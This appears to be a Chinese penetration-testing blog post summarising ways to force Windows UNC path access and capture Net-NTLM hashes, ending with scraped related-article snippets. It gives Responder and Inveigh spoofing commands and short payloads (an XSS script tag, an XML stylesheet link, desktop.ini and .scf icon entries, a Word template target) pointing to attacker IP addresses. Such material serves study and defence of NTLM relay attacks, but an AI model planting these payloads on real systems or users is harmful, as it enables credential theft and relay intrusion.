1. 前言

Net-NTLM-hash劫持的时候一般都会用到unc路径,这篇文章是对于可以出发unc路径访问方式的总结。通过对unc路径的访问可以触发ntlm认证。

补充:触发条件

1、如果是域内的机器(包括相互有信任关系的两个域内的机器之间)都可以用UNC路径直接访问共享文件

2、设有两台机器(A,B两机)都已经加入域(或分别属于连个相互信任的域中),如果A机用域用户帐户登录,B机处于本地登陆,那么从A机上可以UNC路径访问B机的共享文件夹,但是B机不能用unc路径访问A机的共享文件夹,这是因为,A机处于域用户登录状态,他可以从DC上获得B机的地址和服务票据(戴有炜《AD配置指南》P195)。但是B机没有在域中,所以无法到DC上查找A机的地址以及获得服务票据。所以B机不能通过UNC路径访问A机。

3、如果两机(A、B机IP段相同)都没有加入域,不管他本来就是工作组状态的两个,还是虽然是域成员,但用了本地帐号登录。这两台机器上没有相同的帐号和密码(比如都有一个hyj帐号,密码都是111),那么他们之间就无法UNC访问共享文件夹。

4、总上所述可以看出来,如果想让A机UNC路径访问B机,有两个途径:

一个是A通过向DC发出查询地址及请求服务票据的方法(A,B都加入域,并且至少A要处于域帐号登录状态),让DC在中间做引荐。

另一种就是在两个机器中一定要存在相同的本地用户帐号和密码。这样A就可以通过在局域网中向指定的主机名发包(UNC路径中就含有机器名,比如//server1/director)的方法找到配对的机器,然后得到这台机器的许可。

所以只要具备上面这两个条件,就可以用UNC路径访问。

如果这样看来,2情况中A如果不能通过DC找到B那么如果AB中都有相同的本地用户帐号和密码,那么他们之间也可以UNC路径访问。

2. 触发方式

涉及到的工具:

  1. impacket
  2. responder
  3. inveigh

2.1 利用协议触发

2.1.1 http

通过responder劫持net-ntlm并结合impacket中的ntlmrelays工具进行relay攻击,如下图执行了whoami命令:

2.1.2 LLMNR和NetBIOS协议

2.1.2.1 通过responder或者inveigh工具

这两个工具利用的是LLMNR和NetBIOS欺骗。首先我们需要知道Windows系统名称解析顺序为:

  1. 本地hosts文件(%windir%\System32\drivers\etc\hosts)

  2. DNS缓存/DNS服务器

  3. 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS) 当用户解析一个无法被解析的主机名的时候,就会走LLMNR协议或者NBT-NS协议。这时候我们就可以做手脚来让用户认为我们就是它想访问的目标,进而跟我们进行NTLM认证,这样子我们就能够获取到其NET-NTLM。
    hash。

Responder:
python编写,下载地址:
https://github.com/lgandx/Responder
Inveigh:
powershell编写,下载地址:
https://github.com/Kevin-Robertson/Inveigh

Inveigh

管理员权限打开攻击机器的powershell依次输入以下命令:
. .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y
如果有执行策略限制再加一条Set-ExecutionPolicy Bypass -Scope Process

在被攻击机器上的运行框输入一个任意的主机名并点击确定:

这时候返回攻击机,发现已经抓取到NET-NTLM hash

如果对方访问的是正确的主机,则显示的是:

它与域控进行NTLM协商,并没有经过我们的攻击机,也没有走LLMNR与NETBIOS协议。

responder

攻击机执行responder -I eth0 -f,I后面跟的是当前的网卡名字。被攻击机上执行的操作与Inveigh一样,得到结果如下,依旧抓到了目标用户的NET-NTML hash。

2.2 通过超链接触发


当用户点击超链接的时候就会触发unc路径访问。

2.3 利用xss触发

在htlm文件中嵌入恶意js代码,如果对方浏览了此html文件,则触发unc路径访问:

<script src="\\172.16.100.1\xss">

但这种情况适用于IE和edge,其他浏览器不允许从http域跨到file域。

2.4 利用xml触发

构造恶意的xml文件,如果用户使用word打开,则会触发unc路径访问。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<?xml-stylesheet type="text/xsl" href="\\10.0.0.5\bad.xsl" ?>
<?xml version="1.0" encoding="utf-8" ?>
<Courses><Course Number="MS-2524"><Title>XML Web Services Programming</Title></Course><Course Number="MS-2124"><Title>C# Programming</Title></Course><Course Number="NET2"><Title>.NET 2.0 Early Adapter</Title></Course>
</Courses>

2.5 pdf

利用三好学生的脚本对pdf文件进行修改,当pdf被打开的时候会触发unc访问。
脚本下载地址:https://github.com/3gstudent/Worse-PDF


用户必须使用PDF阅读器打开,如果使用IE或是Chrome打开PDF文件,并不会执行。

2.6 desktop.ini

每个文件夹底下都有个文件desktop.ini来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到。用户打开含有恶意desktop.ini的文件夹的时候就会触发unc路径访问。

[.ShellClassInfo]
IconResource=\\172.16.250.7\ini\1.ioc
[ViewState]
Mode=
Vid=
FolderType=Generic

经测试,更改桌面上的desktop.ini然后用户访问自己的用户文件夹时会触发unc路径访问。

2.7 scf文件

只要一个文件底下含有scf后缀的文件,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标。而IconFile是支持UNC路径的。,用户打开含有恶意scf文件的文件夹时就会触发unc路径访问。

[Shell]
Command=2
IconFile=\\172.16.250.3\scf\test.ico
[Taskbar]
Command=ToggleDesktop

利用失败

2.8 xxe/ssrf

在xxe里面加载外部文件的时候,如果路径支持unc路径的话,是能拿到net-ntlm hash的。
在ssrf里面如果支持file协议,并且file协议能加载远程资源的话,是能拿到net-ntlm hash的。

在xxe和ssrf测试中一般要测试这两个方面

  1. 支不支持UNC路径,比如\ip\x或者file://ip/x
  2. 支不支持HTTP(这个一般支持),是不是需要信任域,信任域是怎么判断的

2.9 outlook

将outlook配置成支持html(默认不支持),那么如果他人发送过来的邮件中插入html并含有恶意的xss代码,收件人打开邮件后就会触发unc路径访问。

2.10 word

  1. 创建一个带模版的word文档,然后将其用360压缩打开

  2. 进入word_rels文件夹然后打开settings文件

    修改target属性,并保存

    打开word文档,即刻触发unc路径访问。

3. 参考文章

(原创)UNC路径的访问条件
域渗透学习笔记三:攻击NTLM
Forced Authentication
发起NTLM 请求

总结:触发unc路径访问的方式相关推荐

  1. unc 隐藏共享文件夹_(原创)UNC路径的访问条件

    本人自己总结了一点UNC 路径访问的经验,分为域内和非域内两种情况. 1.如果是域内的机器(包括相互有信任关系的两个域内的机器之间)都可以用UNC路径直接访问共享文件 2.设有两台机器(A,B两机)都 ...

  2. iis对UNC路径的访问被拒绝

    问题描述: 本机调试写文件到指定UNC路径是可以的,(写文件到指定UNC路径https://blog.csdn.net/Jjb125/article/details/89386558)将程序发布到II ...

  3. 显示unc路径服务器根目录,路径解释:绝对、相对、UNC 和 URL

    您每天都通过路径浏览至数据和工具箱.本主题将详细讨论以下方面内容:路径.定义不同类型的路径以及 ArcGIS 对路径的管理方式.路径和路径名路径 路径是由斜线分割的目录名的列表,后面连接目录名或文件名 ...

  4. 显示unc路径服务器根目录,IIS虚拟目录与UNC路径权限初探

    最近在一个项目中涉及到了虚拟目录与UNC路径的问题,总结出来分享给大家. 问题描述 某客户定制化项目(官网),有一个图片上传的功能.客户的Web机器有10台,通过F5负载均衡分摊请求. 假设这10台机 ...

  5. 深入了解iSCSI的2种多路径访问机制

    经过数年的发展后,iSCSI已成为IP SAN的代名词,大幅促进了存储局域网络(SAN)的普及应用.但相较于FC SAN,iSCSI虽然有建置价格低的优点,但也被认为存在着许多不足,包括易受***.可 ...

  6. 【Nginx】location 指向某一个文件 / 指定路径访问某一文件

    前言 nginx 1.15.11(下面的代码在此版本测试通过) win10 phpstudy 8.1.1.3 location 指向某一个文件 / 指定路径访问某一文件 location指向某一个文件 ...

  7. linux php执行ci框架,PHP CI框架学习之路径访问

    CI是一个PHP写的框架,使用它写网站非常方便,但是也会也有一些纠结的问题,比如说其中文件的路径访问. CI严格贯彻MVC思想,因此基于此思想的文件访问也比较严格,controllers控制器是所有v ...

  8. kubernetes使用traefik作为ingress(相同域名不同路径访问不同服务)Middleware的StripPrefix进行实现

    1.环境 kubernetes:v1.20.1 traefik:2.4.8 链接:middleware的使用(stripprefix) 2.安装 kubeadm安装k8s helm安装traefik ...

  9. UNC路径转本地路径

    UNC应用(Universal Naming Convention)通用命名规则,比如网络访问文件UNC路径就是 \\servername\sharename\directory\filename比如 ...

最新文章

  1. wowza官方测试报告
  2. 将视频分成一帧一帧python_python ffmpeg任意提取视频帧的方法
  3. vi中如何实现批量替换
  4. Latex 中插入超链接 插入网址
  5. 有关DataVisualization类组件的研究——Silverlight学习笔记[43]
  6. 如何避免单元测试陷阱?
  7. 超微主板升级BIOS
  8. Firewalld 允许指定IP访问端口
  9. 队列,计算机中的排队模型
  10. 饥荒联机版服务器重置,饥荒联机版服务器重置世界 | 手游网游页游攻略大全
  11. 减少USB 1.1 2.0 端口驱动程序延时_肉鸡啄羽、啄肛、啄蛋等现象如何减少,养殖的朋友们值得看一看...
  12. 浅谈Java的类和封装
  13. Django | ORM choices参数详解
  14. 阿里云域名实名认证操作图文详情 新人必看教程
  15. rimraf 命令快速删除 node_modules 包
  16. GoogleAdMob广告 SDK接入(Android)
  17. Fiddler简介与功能
  18. Vue网易云播放器开发
  19. CUDA是什么-CUDA简介
  20. acm水仙花数java,水仙花数之C语言经典案例分析

热门文章

  1. 使用Maven 构建、开发和打包 JavaFX 项目
  2. 【装机知识】硬盘知识整理
  3. baidupcsgo安卓_BaiduPCS-Go的使用
  4. 过于在意别人的看法,怎么办?
  5. java健身房会员签到,会员提醒,留言,消费,公告
  6. 移动互联网待爆发 第三方广告平台圈地忙
  7. 3. Java修饰符
  8. 递归算法复杂度与主定理的推导
  9. 进军产业互联网背后:5G时代的讯众股份如何走出新路?
  10. np.arange()用法